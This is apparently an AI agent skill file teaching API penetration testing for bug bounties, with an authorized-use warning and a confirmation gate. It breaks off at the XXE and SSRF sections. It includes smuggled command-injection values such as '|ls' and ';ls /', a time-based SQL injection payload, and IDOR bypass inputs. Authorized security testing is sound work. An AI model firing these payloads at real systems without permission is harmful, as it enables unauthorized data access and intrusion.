--- name: api-fuzzing-bug-bounty description: "Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors." risk: offensive source: community author: zebbern date_added: "2026-02-27" --- > **⚠️ AUTHORIZED USE ONLY** > This skill is for educational purposes or authorized security assessments only. > You must have explicit, written permission from the system owner before using this tool. > Misuse of this tool is illegal and strictly prohibited. > **Mandatory confirmation gate** > Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target: > 1. Ask the user to state the exact target URL, IP, account, or resource. > 2. Ask the user to confirm written authorization and the permitted scope. > 3. Show the exact command(s) and explain their expected effect. > 4. Wait for explicit confirmation in the current conversation. > > Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab. > AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments. # API Fuzzing for Bug Bounty ## Purpose Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors. ## Inputs/Prerequisites - Burp Suite or similar proxy tool - API wordlists (SecLists, api_wordlist) - Understanding of REST/GraphQL/SOAP protocols - Python for scripting - Target API endpoints and documentation (if available) ## Outputs/Deliverables - Identified API vulnerabilities - IDOR exploitation proofs - Authentication bypass techniques - SQL injection points - Unauthorized data access documentation --- ## API Types Overview | Type | Protocol | Data Format | Structure | |------|----------|-------------|-----------| | SOAP | HTTP | XML | Header + Body | | REST | HTTP | JSON/XML/URL | Defined endpoints | | GraphQL | HTTP | Custom Query | Single endpoint | --- ## Core Workflow Use controlled test accounts/tenants and read-only canary resources. Scope rate, concurrency, duration, write/delete methods, SSRF destinations and any callback endpoint in the rules of engagement. DoS/deep recursion, credential attacks and destructive method tests require explicit separate approval and a disposable lab where possible. Stop on rate limits or unexpected access to real personal data; never evade limits through IP rotation. Payloads below are hypotheses, not proof of a vulnerability or a mandate to try every technique. ### Step 1: API Reconnaissance Identify API type and enumerate endpoints: ```bash # Check for Swagger/OpenAPI documentation /swagger.json /openapi.json /api-docs /v1/api-docs /swagger-ui.html # Use Kiterunner for API discovery kr scan https://target.com -w routes-large.kite # Extract paths from Swagger python3 json2paths.py swagger.json ``` ### Step 2: Authentication Testing ```bash # Test different login paths /api/mobile/login /api/v3/login /api/magic_link /api/admin/login # Check rate limiting on auth endpoints # If no rate limit → brute force possible # Test mobile vs web API separately # Don't assume same security controls ``` ### Step 3: IDOR Testing Insecure Direct Object Reference is the most common API vulnerability: ```bash # Basic IDOR GET /api/users/1234 → GET /api/users/1235 # Even if ID is email-based, try numeric /?user_id=111 instead of /?user_id=user@mail.com # Test /me/orders vs /user/654321/orders ``` **IDOR Bypass Techniques:** ```bash # Wrap ID in array {"id":111} → {"id":[111]} # JSON wrap {"id":111} → {"id":{"id":111}} # Send ID twice URL?id=&id= # Wildcard injection {"user_id":"*"} # Parameter pollution /api/get_profile?user_id=&user_id= {"user_id":,"user_id":} ``` ### Step 4: Injection Testing **SQL Injection in JSON:** ```json {"id":"56456"} → OK {"id":"56456 AND 1=1#"} → OK {"id":"56456 AND 1=2#"} → OK {"id":"56456 AND 1=3#"} → Observe response; an error alone proves nothing {"id":"56456 AND sleep(15)#"} → SLEEP 15 SEC ``` **Command Injection:** ```bash # Ruby on Rails ?url=Kernel#open → ?url=|ls # Linux command injection api.url.com/endpoint?name=file.txt;ls%20/ ``` **XXE Injection:** ```xml ]> ``` **SSRF via API:** ```html